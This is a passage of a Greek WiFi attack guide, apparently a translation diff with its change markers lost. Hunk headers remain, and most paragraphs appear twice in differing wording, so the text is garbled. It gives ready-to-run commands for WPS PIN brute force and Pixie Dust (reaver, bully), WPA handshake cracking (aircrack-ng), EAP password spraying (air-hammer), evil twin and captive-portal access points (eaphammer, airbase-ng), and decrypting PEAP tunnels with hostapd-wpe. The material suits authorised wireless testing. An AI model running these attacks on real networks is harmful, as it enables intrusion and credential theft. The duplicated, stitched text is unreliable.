- **Bully** είναι μια **νέα υλοποίηση** της επίθεσης brute force WPS, γραμμένη σε C. Έχει αρκετά πλεονεκτήματα σε σχέση με τον αρχικό κώδικα reaver: λιγότερες εξαρτήσεις, βελτιωμένη μνήμη και απόδοση CPU, σωστή διαχείριση του endianness, και ένα πιο ισχυρό σύνολο επιλογών.
Η επίθεση εκμεταλλεύεται την **ευπάθεια του WPS PIN**, ιδιαίτερα την έκθεση των πρώτων τεσσάρων ψηφίων και τον ρόλο του τελευταίου ψηφίου ως checksum, διευκολύνοντας την επίθεση brute-force. Ωστόσο, οι άμυνες κατά των επιθέσεων brute-force, όπως η **φραγή διευθύνσεων MAC** επιθετικών επιτιθεμένων, απαιτούν **περιστροφή διευθύνσεων MAC** για να συνεχιστεί η επίθεση.
Η επίθεση εκμεταλλεύεται την **ευπάθεια του WPS PIN**, ιδιαίτερα την έκθεση των πρώτων τεσσάρων ψηφίων και τον ρόλο του τελευταίου ψηφίου ως checksum, διευκολύνοντας την επίθεση brute-force. Ωστόσο, οι άμυνες κατά των επιθέσεων brute-force, όπως η **μπλοκάρισμα διευθύνσεων MAC** επιθετικών επιτιθεμένων, απαιτούν **περιστροφή διευθύνσεων MAC** για να συνεχιστεί η επίθεση.
Αφού αποκτηθεί το WPS PIN με εργαλεία όπως το Bully ή το Reaver, ο επιτιθέμενος μπορεί να deduce το WPA/WPA2 PSK, εξασφαλίζοντας **μόνιμη πρόσβαση στο δίκτυο**.
Αφού αποκτήσει το WPS PIN με εργαλεία όπως το Bully ή το Reaver, ο επιτιθέμενος μπορεί να deduce το WPA/WPA2 PSK, εξασφαλίζοντας **μόνιμη πρόσβαση στο δίκτυο**.
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
@ -212,12 +213,12 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Αυτή η εκλεπτυσμένη προσέγγιση στοχεύει σε WPS PINs χρησιμοποιώντας γνωστές ευπάθειες:
1. **Προκαθορισμένα PINs**: Χρησιμοποιήστε μια βάση δεδομένων γνωστών PINs που συνδέονται με συγκεκριμένους κατασκευαστές που είναι γνωστό ότι χρησιμοποιούν ομοιόμορφα WPS PINs. Αυτή η βάση δεδομένων συσχετίζει τα πρώτα τρία οκτάδες των MAC-διευθύνσεων με πιθανές PINs για αυτούς τους κατασκευαστές.
2. **Αλγόριθμοι Γεννήτριας PIN**: Εκμεταλλευτείτε αλγόριθμους όπως ComputePIN και EasyBox, οι οποίοι υπολογίζουν WPS PINs με βάση τη MAC-διεύθυνση του AP. Ο αλγόριθμος Arcadyan απαιτεί επιπλέον μια ταυτότητα συσκευής, προσθέτοντας μια επιπλέον διάσταση στη διαδικασία δημιουργίας PIN.
1. **Προκαθορισμένα PINs**: Χρησιμοποιήστε μια βάση δεδομένων γνωστών PINs που σχετίζονται με συγκεκριμένους κατασκευαστές που είναι γνωστό ότι χρησιμοποιούν ομοιόμορφα WPS PINs. Αυτή η βάση δεδομένων συσχετίζει τα πρώτα τρία οκτάδες των MAC διευθύνσεων με πιθανές PINs για αυτούς τους κατασκευαστές.
2. **Αλγόριθμοι Γεννήτριας PIN**: Εκμεταλλευτείτε αλγόριθμους όπως οι ComputePIN και EasyBox, οι οποίοι υπολογίζουν WPS PINs με βάση τη MAC διεύθυνση του AP. Ο αλγόριθμος Arcadyan απαιτεί επιπλέον μια ταυτότητα συσκευής, προσθέτοντας μια επιπλέον διάσταση στη διαδικασία γεννήτριας PIN.
### Επίθεση WPS Pixie Dust
**Dominique Bongard** ανακάλυψε ένα σφάλμα σε ορισμένα Access Points (APs) σχετικά με τη δημιουργία μυστικών κωδικών, γνωστών ως **nonces** (**E-S1** και **E-S2**). Εάν αυτά τα nonces μπορέσουν να ανακαλυφθούν, η αποκρυπτογράφηση του WPS PIN του AP γίνεται εύκολη. Το AP αποκαλύπτει το PIN μέσα σε έναν ειδικό κωδικό (hash) για να αποδείξει ότι είναι νόμιμο και όχι ψεύτικο (rogue) AP. Αυτά τα nonces είναι ουσιαστικά τα "κλειδιά" για να ξεκλειδώσουν το "χρηματοκιβώτιο" που κρατά το WPS PIN. Περισσότερα σχετικά με αυτό μπορείτε να βρείτε [εδώ](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
**Dominique Bongard** ανακάλυψε ένα σφάλμα σε ορισμένα Access Points (APs) σχετικά με τη δημιουργία μυστικών κωδικών, γνωστών ως **nonces** (**E-S1** και **E-S2**). Εάν αυτά τα nonces μπορέσουν να ανακαλυφθούν, η αποκρυπτογράφηση του WPS PIN του AP γίνεται εύκολη. Το AP αποκαλύπτει το PIN μέσα σε έναν ειδικό κωδικό (hash) για να αποδείξει ότι είναι νόμιμο και όχι ψεύτικο (rogue) AP. Αυτά τα nonces είναι ουσιαστικά τα "κλειδιά" για να ξεκλειδώσουν το "σεντούκι" που κρατά το WPS PIN. Περισσότερα σχετικά με αυτό μπορείτε να βρείτε [εδώ](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
Με απλά λόγια, το πρόβλημα είναι ότι ορισμένα APs δεν χρησιμοποίησαν αρκετά τυχαία κλειδιά για την κρυπτογράφηση του PIN κατά τη διάρκεια της διαδικασίας σύνδεσης. Αυτό καθιστά το PIN ευάλωτο σε μαντεψιά από έξω από το δίκτυο (offline brute force attack).
```bash
@ -240,15 +241,15 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
![](<../../images/image (219).png>)
- 5 και 6 σας επιτρέπουν να δοκιμάσετε **το δικό σας PIN** (αν έχετε)
- 5 και 6 σας επιτρέπουν να δοκιμάσετε **το προσαρμοσμένο PIN σας** (αν έχετε)
- 7 και 8 εκτελούν την **επίθεση Pixie Dust**
- 13 σας επιτρέπει να δοκιμάσετε το **NULL PIN**
- 11 και 12 θα **ανακτήσουν τα PIN που σχετίζονται με το επιλεγμένο AP από διαθέσιμες βάσεις δεδομένων** και θα **δημιουργήσουν** πιθανά **PIN** χρησιμοποιώντας: ComputePIN, EasyBox και προαιρετικά Arcadyan (συνιστάται, γιατί όχι;)
- 11 και 12 θα **συλλέξουν τα PIN που σχετίζονται με το επιλεγμένο AP από διαθέσιμες βάσεις δεδομένων** και θα **δημιουργήσουν** πιθανά **PIN** χρησιμοποιώντας: ComputePIN, EasyBox και προαιρετικά Arcadyan (συνιστάται, γιατί όχι;)
- 9 και 10 θα δοκιμάσουν **κάθε πιθανό PIN**
## **WEP**
Τόσο σπασμένο και ανενεργό σήμερα. Απλά να ξέρετε ότι _**airgeddon**_ έχει μια επιλογή WEP που ονομάζεται "All-in-One" για να επιτεθεί σε αυτό το είδος προστασίας. Πολλά εργαλεία προσφέρουν παρόμοιες επιλογές.
Τόσο σπασμένο και ανενεργό σήμερα. Απλά να ξέρετε ότι _**airgeddon**_ έχει μια επιλογή WEP που ονομάζεται "All-in-One" για να επιτεθεί σε αυτό το είδος προστασίας. Περισσότερα εργαλεία προσφέρουν παρόμοιες επιλογές.
![](<../../images/image (432).png>)
@ -305,8 +306,8 @@ _Έχω παρατηρήσει ότι μερικοί από τους χειρα
Μια επίθεση σε δίκτυα **WPA/WPA2** μπορεί να εκτελεστεί καταγράφοντας έναν **χειραγωγό** και προσπαθώντας να **σπάσει** τον κωδικό **εκτός σύνδεσης**. Αυτή η διαδικασία περιλαμβάνει την παρακολούθηση της επικοινωνίας ενός συγκεκριμένου δικτύου και **BSSID** σε μια συγκεκριμένη **κανάλι**. Ακολουθεί ένας απλός οδηγός:
1. Εντοπίστε το **BSSID**, την **κανάλι**, και έναν **συνδεδεμένο πελάτη** του στοχευόμενου δικτύου.
2. Χρησιμοποιήστε `airodump-ng` για να παρακολουθήσετε την κυκλοφορία του δικτύου στην καθορισμένη κανάλι και BSSID, ελπίζοντας να καταγράψετε έναν χειραγωγό. Η εντολή θα μοιάζει με αυτό:
1. Εντοπίστε το **BSSID**, το **κανάλι** και έναν **συνδεδεμένο πελάτη** του στοχευόμενου δικτύου.
2. Χρησιμοποιήστε `airodump-ng` για να παρακολουθήσετε την κυκλοφορία του δικτύου στο καθορισμένο κανάλι και BSSID, ελπίζοντας να καταγράψετε έναν χειραγωγό. Η εντολή θα έχει ως εξής:
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
@ -320,7 +321,7 @@ _Σημειώστε ότι καθώς ο πελάτης αποεξουσιοδο
![](<../../images/image (172) (1).png>)
Μόλις το handshake καταγραφεί, μπορείτε να **σπάσετε** το με `aircrack-ng`:
Μόλις το handshake καταγραφεί, μπορείτε να **σπάσετε** αυτό με το `aircrack-ng`:
```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```
@ -377,25 +378,25 @@ pyrit -r psk-01.cap analyze
### Ανώνυμες Ταυτότητες
Η απόκρυψη ταυτότητας υποστηρίζεται τόσο από το EAP-PEAP όσο και από το EAP-TTLS. Στο πλαίσιο ενός δικτύου WiFi, ένα αίτημα EAP-Identity συνήθως ξεκινά από το σημείο πρόσβασης (AP) κατά τη διαδικασία συσχέτισης. Για να διασφαλιστεί η προστασία της ανωνυμίας του χρήστη, η απάντηση από τον πελάτη EAP στη συσκευή του χρήστη περιέχει μόνο τις απαραίτητες πληροφορίες που απαιτούνται για την αρχική επεξεργασία του αιτήματος από τον διακομιστή RADIUS. Αυτή η έννοια απεικονίζεται μέσω των παρακάτω σεναρίων:
Η απόκρυψη ταυτότητας υποστηρίζεται τόσο από το EAP-PEAP όσο και από το EAP-TTLS. Στο πλαίσιο ενός δικτύου WiFi, ένα αίτημα EAP-Identity συνήθως ξεκινά από το σημείο πρόσβασης (AP) κατά τη διαδικασία συσχέτισης. Για να διασφαλιστεί η προστασία της ανωνυμίας του χρήστη, η απάντηση από τον πελάτη EAP στη συσκευή του χρήστη περιέχει μόνο τις απαραίτητες πληροφορίες που απαιτούνται για να επεξεργαστεί ο αρχικός διακομιστής RADIUS το αίτημα. Αυτή η έννοια απεικονίζεται μέσω των παρακάτω σεναρίων:
- EAP-Identity = ανώνυμος
- Σε αυτό το σενάριο, όλοι οι χρήστες χρησιμοποιούν το ψευδώνυμο "ανώνυμος" ως αναγνωριστικό χρήστη τους. Ο αρχικός διακομιστής RADIUS λειτουργεί είτε ως διακομιστής EAP-PEAP είτε EAP-TTLS, υπεύθυνος για τη διαχείριση της πλευράς του διακομιστή του πρωτοκόλλου PEAP ή TTLS. Η εσωτερική (προστατευμένη) μέθοδος αυθεντικοποίησης διαχειρίζεται είτε τοπικά είτε ανατίθεται σε έναν απομακρυσμένο (οικιακό) διακομιστή RADIUS.
- EAP-Identity = ανώνυμος@realm_x
- Σε αυτή την περίπτωση, οι χρήστες από διαφορετικά realms αποκρύπτουν τις ταυτότητές τους ενώ υποδεικνύουν τα αντίστοιχα realms τους. Αυτό επιτρέπει στον αρχικό διακομιστή RADIUS να προξενήσει τα αιτήματα EAP-PEAP ή EAP-TTLS σε διακομιστές RADIUS στα οικιακά τους realms, οι οποίοι λειτουργούν ως διακομιστής PEAP ή TTLS. Ο αρχικός διακομιστής RADIUS λειτουργεί αποκλειστικά ως κόμβος αναμετάδοσης RADIUS.
- Εναλλακτικά, ο αρχικός διακομιστής RADIUS μπορεί να λειτουργήσει ως διακομιστής EAP-PEAP ή EAP-TTLS και είτε να διαχειριστεί την προστατευμένη μέθοδο αυθεντικοποίησης είτε να την προωθήσει σε άλλο διακομιστή. Αυτή η επιλογή διευκολύνει τη διαμόρφωση διακριτών πολιτικών για διάφορα realms.
- Σε αυτή την περίπτωση, οι χρήστες από διαφορετικά realms αποκρύπτουν τις ταυτότητές τους ενώ υποδεικνύουν τα αντίστοιχα realms τους. Αυτό επιτρέπει στον αρχικό διακομιστή RADIUS να προξενήσει τα αιτήματα EAP-PEAP ή EAP-TTLS σε διακομιστές RADIUS στα οικιακά τους realms, οι οποίοι λειτουργούν ως διακομιστές PEAP ή TTLS. Ο αρχικός διακομιστής RADIUS λειτουργεί αποκλειστικά ως κόμβος αναμετάδοσης RADIUS.
- Εναλλακτικά, ο αρχικός διακομιστής RADIUS μπορεί να λειτουργήσει ως διακομιστής EAP-PEAP ή EAP-TTLS και είτε να διαχειριστεί τη μέθοδο προστατευμένης αυθεντικοποίησης είτε να την προωθήσει σε άλλο διακομιστή. Αυτή η επιλογή διευκολύνει τη διαμόρφωση διακριτών πολιτικών για διάφορα realms.
Στο EAP-PEAP, μόλις το τούνελ TLS έχει καθιερωθεί μεταξύ του διακομιστή PEAP και του πελάτη PEAP, ο διακομιστής PEAP ξεκινά ένα αίτημα EAP-Identity και το μεταδίδει μέσω του τούνελ TLS. Ο πελάτης απαντά σε αυτό το δεύτερο αίτημα EAP-Identity στέλνοντας μια απάντηση EAP-Identity που περιέχει την αληθινή ταυτότητα του χρήστη μέσω του κρυπτογραφημένου τούνελ. Αυτή η προσέγγιση αποτρέπει αποτελεσματικά την αποκάλυψη της πραγματικής ταυτότητας του χρήστη σε οποιονδήποτε παρακολουθεί την κίνηση 802.11.
Το EAP-TTLS ακολουθεί μια ελαφρώς διαφορετική διαδικασία. Με το EAP-TTLS, ο πελάτης συνήθως αυθεντικοποιείται χρησιμοποιώντας PAP ή CHAP, ασφαλισμένο από το τούνελ TLS. Σε αυτή την περίπτωση, ο πελάτης περιλαμβάνει ένα χαρακτηριστικό User-Name και είτε ένα Password είτε ένα CHAP-Password χαρακτηριστικό στο αρχικό μήνυμα TLS που αποστέλλεται μετά την καθιέρωση του τούνελ.
Ανεξάρτητα από το πρωτόκολλο που επιλέγεται, ο διακομιστής PEAP/TTLS αποκτά γνώση της αληθινής ταυτότητας του χρήστη αφού έχει καθιερωθεί το τούνελ TLS. Η αληθινή ταυτότητα μπορεί να αναπαριστάται ως user@realm ή απλά user. Εάν ο διακομιστής PEAP/TTLS είναι επίσης υπεύθυνος για την αυθεντικοποίηση του χρήστη, τώρα κατέχει την ταυτότητα του χρήστη και προχωρά με τη μέθοδο αυθεντικοποίησης που προστατεύεται από το τούνελ TLS. Εναλλακτικά, ο διακομιστής PEAP/TTLS μπορεί να προωθήσει ένα νέο αίτημα RADIUS στον οικιακό διακομιστή RADIUS του χρήστη. Αυτό το νέο αίτημα RADIUS παραλείπει το επίπεδο πρωτοκόλλου PEAP ή TTLS. Σε περιπτώσεις όπου η προστατευμένη μέθοδος αυθεντικοποίησης είναι EAP, τα εσωτερικά μηνύματα EAP μεταδίδονται στον οικιακό διακομιστή RADIUS χωρίς την περιτύλιξη EAP-PEAP ή EAP-TTLS. Το χαρακτηριστικό User-Name του εξερχόμενου μηνύματος RADIUS περιέχει την αληθινή ταυτότητα του χρήστη, αντικαθιστώντας το ανώνυμο User-Name από το εισερχόμενο αίτημα RADIUS. Όταν η προστατευμένη μέθοδος αυθεντικοποίησης είναι PAP ή CHAP (υποστηρίζεται μόνο από TTLS), τα χαρακτηριστικά User-Name και άλλα χαρακτηριστικά αυθεντικοποίησης που εξάγονται από το φορτίο TLS αντικαθίστανται στο εξερχόμενο μήνυμα RADIUS, αντικαθιστώντας το ανώνυμο User-Name και τα χαρακτηριστικά TTLS EAP-Message που βρίσκονται στο εισερχόμενο αίτημα RADIUS.
Ανεξάρτητα από το πρωτόκολλο που επιλέγεται, ο διακομιστής PEAP/TTLS αποκτά γνώση της αληθινής ταυτότητας του χρήστη αφού έχει καθιερωθεί το τούνελ TLS. Η αληθινή ταυτότητα μπορεί να αναπαριστάται ως user@realm ή απλά user. Αν ο διακομιστής PEAP/TTLS είναι επίσης υπεύθυνος για την αυθεντικοποίηση του χρήστη, τώρα κατέχει την ταυτότητα του χρήστη και προχωρά με τη μέθοδο αυθεντικοποίησης που προστατεύεται από το τούνελ TLS. Εναλλακτικά, ο διακομιστής PEAP/TTLS μπορεί να προωθήσει ένα νέο αίτημα RADIUS στον οικιακό διακομιστή RADIUS του χρήστη. Αυτό το νέο αίτημα RADIUS παραλείπει το επίπεδο πρωτοκόλλου PEAP ή TTLS. Σε περιπτώσεις όπου η προστατευμένη μέθοδος αυθεντικοποίησης είναι EAP, τα εσωτερικά μηνύματα EAP μεταδίδονται στον οικιακό διακομιστή RADIUS χωρίς την περιτύλιξη EAP-PEAP ή EAP-TTLS. Το χαρακτηριστικό User-Name του εξερχόμενου μηνύματος RADIUS περιέχει την αληθινή ταυτότητα του χρήστη, αντικαθιστώντας το ανώνυμο User-Name από το εισερχόμενο αίτημα RADIUS. Όταν η προστατευμένη μέθοδος αυθεντικοποίησης είναι PAP ή CHAP (υποστηρίζεται μόνο από TTLS), τα χαρακτηριστικά User-Name και άλλα χαρακτηριστικά αυθεντικοποίησης που εξάγονται από το φορτίο TLS αντικαθίστανται στο εξερχόμενο μήνυμα RADIUS, αντικαθιστώντας το ανώνυμο User-Name και τα χαρακτηριστικά TTLS EAP-Message που βρίσκονται στο εισερχόμενο αίτημα RADIUS.
Για περισσότερες πληροφορίες δείτε [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
### EAP-Bruteforce (password spray)
Εάν αναμένεται ότι ο πελάτης θα χρησιμοποιήσει ένα **όνομα χρήστη και κωδικό** (σημειώστε ότι **EAP-TLS δεν θα είναι έγκυρο** σε αυτή την περίπτωση), τότε μπορείτε να προσπαθήσετε να αποκτήσετε μια **λίστα** με **ονόματα χρηστών** (δείτε το επόμενο μέρος) και **κωδικούς** και να προσπαθήσετε να **σπάσετε** την πρόσβαση χρησιμοποιώντας [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
Αν αναμένεται ότι ο πελάτης θα χρησιμοποιήσει ένα **όνομα χρήστη και κωδικό** (σημειώστε ότι **EAP-TLS δεν θα είναι έγκυρο** σε αυτή την περίπτωση), τότε μπορείτε να προσπαθήσετε να αποκτήσετε μια **λίστα** με **ονόματα χρηστών** (δείτε το επόμενο μέρος) και **κωδικούς** και να προσπαθήσετε να **σπάσετε** την πρόσβαση χρησιμοποιώντας [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
@ -417,19 +418,19 @@ pyrit -r psk-01.cap analyze
### Λίστες Προτιμώμενων Δικτύων (PNLs)
- Οι σταθμοί αποθηκεύουν το ESSID κάθε ασύρματου δικτύου στο οποίο συνδέονται στη Λίστα Προτιμώμενων Δικτύων τους (PNL), μαζί με λεπτομέρειες συγκεκριμένες για το δίκτυο.
- Οι σταθμοί αποθηκεύουν το ESSID κάθε ασύρματου δικτύου στο οποίο συνδέονται στη Λίστα Προτιμώμενων Δικτύων τους (PNL), μαζί με λεπτομέρειες ρύθμισης που σχετίζονται με το δίκτυο.
- Η PNL χρησιμοποιείται για αυτόματη σύνδεση σε γνωστά δίκτυα, βελτιώνοντας την εμπειρία του χρήστη απλοποιώντας τη διαδικασία σύνδεσης.
### Παθητική Σάρωση
- Οι APs περιοδικά εκπέμπουν beacon frames, ανακοινώνοντας την παρουσία και τα χαρακτηριστικά τους, συμπεριλαμβανομένου του ESSID του AP εκτός αν η εκπομπή είναι απενεργοποιημένη.
- Κατά τη διάρκεια της παθητικής σάρωσης, οι σταθμοί ακούν για beacon frames. Εάν το ESSID ενός beacon ταιριάζει με μια καταχώρηση στη PNL του σταθμού, ο σταθμός μπορεί να συνδεθεί αυτόματα σε αυτό το AP.
- Οι APs περιοδικά εκπέμπουν πλαίσια beacon, ανακοινώνοντας την παρουσία και τα χαρακτηριστικά τους, συμπεριλαμβανομένου του ESSID του AP εκτός αν η εκπομπή είναι απενεργοποιημένη.
- Κατά τη διάρκεια της παθητικής σάρωσης, οι σταθμοί ακούν για πλαίσια beacon. Αν το ESSID ενός beacon ταιριάζει με μια καταχώρηση στη PNL του σταθμού, ο σταθμός μπορεί να συνδεθεί αυτόματα σε αυτό το AP.
- Η γνώση της PNL μιας συσκευής επιτρέπει πιθανή εκμετάλλευση μιμούμενη το ESSID ενός γνωστού δικτύου, ξεγελώντας τη συσκευή να συνδεθεί σε ένα κακόβουλο AP.
### Ενεργή Διερεύνηση
- Η ενεργή διερεύνηση περιλαμβάνει τους σταθμούς να στέλνουν αιτήματα probe για να ανακαλύψουν κοντινά APs και τα χαρακτηριστικά τους.
- Τα κατευθυνόμενα αιτήματα probe στοχεύουν σε ένα συγκεκριμένο ESSID, βοηθώντας να ανιχνευθεί εάν ένα συγκεκριμένο δίκτυο είναι εντός εμβέλειας, ακόμη και αν είναι κρυφό δίκτυο.
- Τα κατευθυνόμενα αιτήματα probe στοχεύουν σε ένα συγκεκριμένο ESSID, βοηθώντας να ανιχνευθεί αν ένα συγκεκριμένο δίκτυο είναι εντός εμβέλειας, ακόμη και αν είναι κρυφό δίκτυο.
- Τα αιτήματα probe εκπομπής έχουν ένα κενό πεδίο SSID και αποστέλλονται σε όλα τα κοντινά APs, επιτρέποντας στον σταθμό να ελέγξει για οποιοδήποτε προτιμώμενο δίκτυο χωρίς να αποκαλύψει το περιεχόμενο της PNL του.
## Απλό AP με ανακατεύθυνση στο Διαδίκτυο
@ -500,9 +501,9 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
```
## Evil Twin
Μια επίθεση evil twin εκμεταλλεύεται τον τρόπο που οι πελάτες WiFi αναγνωρίζουν τα δίκτυα, βασιζόμενοι κυρίως στο όνομα του δικτύου (ESSID) χωρίς να απαιτείται η πιστοποίηση του σταθμού βάσης (access point) προς τον πελάτη. Σημαντικά σημεία περιλαμβάνουν:
Η επίθεση evil twin εκμεταλλεύεται τον τρόπο που οι πελάτες WiFi αναγνωρίζουν τα δίκτυα, βασιζόμενη κυρίως στο όνομα του δικτύου (ESSID) χωρίς να απαιτεί από τον σταθμό βάσης (access point) να πιστοποιήσει τον εαυτό του στον πελάτη. Σημαντικά σημεία περιλαμβάνουν:
- **Δυσκολία στη Διαφοροποίηση**: Οι συσκευές δυσκολεύονται να διακρίνουν μεταξύ νόμιμων και κακόβουλων access points όταν μοιράζονται το ίδιο ESSID και τύπο κρυπτογράφησης. Τα πραγματικά δίκτυα συχνά χρησιμοποιούν πολλαπλά access points με το ίδιο ESSID για να επεκτείνουν την κάλυψη χωρίς διακοπές.
- **Δυσκολία στη Διαφοροποίηση**: Οι συσκευές δυσκολεύονται να διακρίνουν μεταξύ νόμιμων και κακόβουλων access points όταν μοιράζονται το ίδιο ESSID και τύπο κρυπτογράφησης. Τα πραγματικά δίκτυα συχνά χρησιμοποιούν πολλαπλά access points με το ίδιο ESSID για να επεκτείνουν την κάλυψη χωρίς διακοπή.
- **Περιπλάνηση Πελατών και Χειρισμός Σύνδεσης**: Το πρωτόκολλο 802.11 επιτρέπει στις συσκευές να περιπλανώνται μεταξύ access points εντός του ίδιου ESS. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό το γεγονός προσελκύοντας μια συσκευή να αποσυνδεθεί από τον τρέχοντα σταθμό βάσης της και να συνδεθεί σε έναν κακόβουλο. Αυτό μπορεί να επιτευχθεί προσφέροντας ένα ισχυρότερο σήμα ή διακόπτοντας τη σύνδεση με το νόμιμο access point μέσω μεθόδων όπως τα πακέτα αποσύνδεσης ή η παρεμβολή.
- **Προκλήσεις στην Εκτέλεση**: Η επιτυχής εκτέλεση μιας επίθεσης evil twin σε περιβάλλοντα με πολλαπλά, καλά τοποθετημένα access points μπορεί να είναι δύσκολη. Η αποσύνδεση ενός μόνο νόμιμου access point συχνά έχει ως αποτέλεσμα τη σύνδεση της συσκευής σε άλλο νόμιμο access point, εκτός αν ο επιτιθέμενος μπορεί να αποσυνδέσει όλα τα κοντινά access points ή να τοποθετήσει στρατηγικά το κακόβουλο access point.
@ -510,7 +511,7 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
Μπορείτε επίσης να δημιουργήσετε ένα Evil Twin χρησιμοποιώντας το **eaphammer** (σημειώστε ότι για να δημιουργήσετε κακούς διδύμους με το eaphammer η διεπαφή **δεν πρέπει να είναι** σε **monitor** mode):
Μπορείτε επίσης να δημιουργήσετε ένα Evil Twin χρησιμοποιώντας το **eaphammer** (σημειώστε ότι για να δημιουργήσετε κακούς διδύμους με το eaphammer, η διεπαφή **δεν θα πρέπει να είναι** σε **monitor** mode):
```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
@ -524,7 +525,7 @@ _Ορισμένα λειτουργικά συστήματα και AV θα πρ
### WPA/WPA2 Evil Twin
Μπορείτε να δημιουργήσετε ένα **Evil Twin χρησιμοποιώντας WPA/2** και αν οι συσκευές είναι ρυθμισμένες να συνδέονται σε αυτό το SSID με WPA/2, θα προσπαθήσουν να συνδεθούν. Ούτως ή άλλως, **για να ολοκληρωθεί το 4-way-handshake** πρέπει επίσης να **γνωρίζετε** τον **κωδικό πρόσβασης** που θα χρησιμοποιήσει ο πελάτης. Αν **δεν τον γνωρίζετε**, η **σύνδεση δεν θα ολοκληρωθεί**.
Μπορείτε να δημιουργήσετε ένα **Evil Twin χρησιμοποιώντας WPA/2** και αν οι συσκευές έχουν ρυθμιστεί να συνδέονται σε αυτό το SSID με WPA/2, θα προσπαθήσουν να συνδεθούν. Ούτως ή άλλως, **για να ολοκληρωθεί το 4-way-handshake** πρέπει επίσης να **γνωρίζετε** τον **κωδικό πρόσβασης** που θα χρησιμοποιήσει ο πελάτης. Αν **δεν τον γνωρίζετε**, η **σύνδεση δεν θα ολοκληρωθεί**.
```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
@ -574,37 +575,37 @@ GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
### Αποσφαλμάτωση PEAP και EAP-TTLS TLS tunnels σε επιθέσεις Evil Twins
_Αυτή η μέθοδος δοκιμάστηκε σε μια σύνδεση PEAP αλλά καθώς αποκρυπτογραφώ ένα αυθαίρετο TLS tunnel, αυτό θα πρέπει επίσης να λειτουργεί με EAP-TTLS_
_Αυτή η μέθοδος δοκιμάστηκε σε μια σύνδεση PEAP, αλλά καθώς αποκρυπτογραφώ ένα αυθαίρετο TLS tunnel, αυτό θα πρέπει επίσης να λειτουργεί με EAP-TTLS_
Μέσα στη **διαμόρφωση** του _hostapd-wpe_ **σχολιάστε** τη γραμμή που περιέχει το _**dh_file**_ (από `dh_file=/etc/hostapd-wpe/certs/dh` σε `#dh_file=/etc/hostapd-wpe/certs/dh`)\
Μέσα στην **διαμόρφωση** του _hostapd-wpe_ **σχολιάστε** τη γραμμή που περιέχει το _**dh_file**_ (από `dh_file=/etc/hostapd-wpe/certs/dh` σε `#dh_file=/etc/hostapd-wpe/certs/dh`)\
Αυτό θα κάνει το `hostapd-wpe` να **ανταλλάσσει κλειδιά χρησιμοποιώντας RSA** αντί για DH, έτσι θα μπορείτε να **αποκρυπτογραφήσετε** την κίνηση αργότερα **γνωρίζοντας το ιδιωτικό κλειδί του διακομιστή**.
Τώρα ξεκινήστε το **Evil Twin** χρησιμοποιώντας **`hostapd-wpe`** με αυτή τη τροποποιημένη διαμόρφωση όπως συνήθως. Επίσης, ξεκινήστε **`wireshark`** στη **διεύθυνση** που εκτελεί την επίθεση Evil Twin.
Τώρα ή αργότερα (όταν έχετε ήδη συλλάβει κάποιες προθέσεις αυθεντικοποίησης) μπορείτε να προσθέσετε το ιδιωτικό RSA κλειδί στο wireshark στο: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
Προσθέστε μια νέα καταχώρηση και συμπληρώστε τη φόρμα με αυτές τις τιμές: **Διεύθυνση IP = οποιαδήποτε** -- **Θύρα = 0** -- **Πρωτόκολλο = data** -- **Αρχείο Κλειδιού** (**επιλέξτε το αρχείο κλειδιού σας**, για να αποφύγετε προβλήματα επιλέξτε ένα αρχείο κλειδιού **χωρίς προστασία με κωδικό**).
Προσθέστε μια νέα καταχώρηση και συμπληρώστε τη φόρμα με αυτές τις τιμές: **Διεύθυνση IP = οποιαδήποτε** -- **Θύρα = 0** -- **Πρωτόκολλο = data** -- **Αρχείο Κλειδιού** (**επιλέξτε το αρχείο κλειδιού σας**, για να αποφύγετε προβλήματα επιλέξτε ένα αρχείο κλειδιού **χωρίς προστασία κωδικού πρόσβασης**).
![](<../../images/image (687).png>)
Και κοιτάξτε την νέα **καρτέλα "Αποκρυπτογραφημένο TLS"**:
Και δείτε την νέα **καρτέλα "Αποκρυπτογραφημένο TLS"**:
![](<../../images/image (231).png>)
## KARMA, MANA, Loud MANA και επιθέσεις με γνωστά beacon
### Μαύρες/λευκές λίστες ESSID και MAC
### ESSID και MAC μαύρες/λευκές λίστες
Διαφορετικοί τύποι Λιστών Φίλτρων Πρόσβασης Μέσων (MFACLs) και οι αντίστοιχες λειτουργίες και επιδράσεις τους στη συμπεριφορά ενός κακόβουλου Σημείου Πρόσβασης (AP):
1. **Λευκή Λίστα βάσει MAC**:
- Το κακόβουλο AP θα απαντά μόνο σε αιτήματα probe από συσκευές που καθορίζονται στη λευκή λίστα, παραμένοντας αόρατο σε όλες τις άλλες που δεν είναι καταχωρημένες.
- Το κακόβουλο AP θα απαντήσει μόνο σε αιτήματα probe από συσκευές που καθορίζονται στη λευκή λίστα, παραμένοντας αόρατο σε όλες τις άλλες που δεν αναφέρονται.
